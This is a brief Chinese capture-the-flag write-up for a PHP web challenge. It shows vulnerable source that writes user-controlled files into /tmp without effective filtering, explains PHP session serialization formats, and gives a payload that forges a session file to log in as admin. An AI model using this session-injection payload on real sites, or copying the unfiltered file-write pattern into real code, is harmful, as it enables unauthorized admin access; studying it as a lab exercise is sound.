web3
源代码
<?php
highlight_file(__FILE__);
$content = @$_GET['content'] ? "---mylocalnote---\n" . $_GET['content'] : "";
$name = @$_GET['name'] ? $_GET['name'] : '';
str_replace('/', '', $name);
str_replace('\\', '', $name);
file_put_contents("/tmp/" . $name, $content);
session_start();
if (isset($_SESSION['username'])) {
echo "Thank u,{$_SESSION['username']}";
}
//flag in flag.php
PHP存储session的方式 | 描述 |
---|---|
php_serialize | 经过serialize()函数序列化数组 |
php | 键名+竖线+经过serialize()函数处理的值 |
php_binary | 键名的长度对应的ascii字符+键名+serialize()函数序列化的值 |
函数 | 描述 |
---|---|
str_replace() | 子字符串替换 |
file_put_contents() | file_put_contents — 将一个字符串写入文件 |
session_start() | 启动新会话或者重用现有会话 |
题目要求$_SESSION[‘username’]=‘admin’
向/tmp中写入文件
username|s:6:'admin';
payload
content=|N;username|s:5:"admin";&name=sess_{your PHPSESSID}
然后访问/flag.php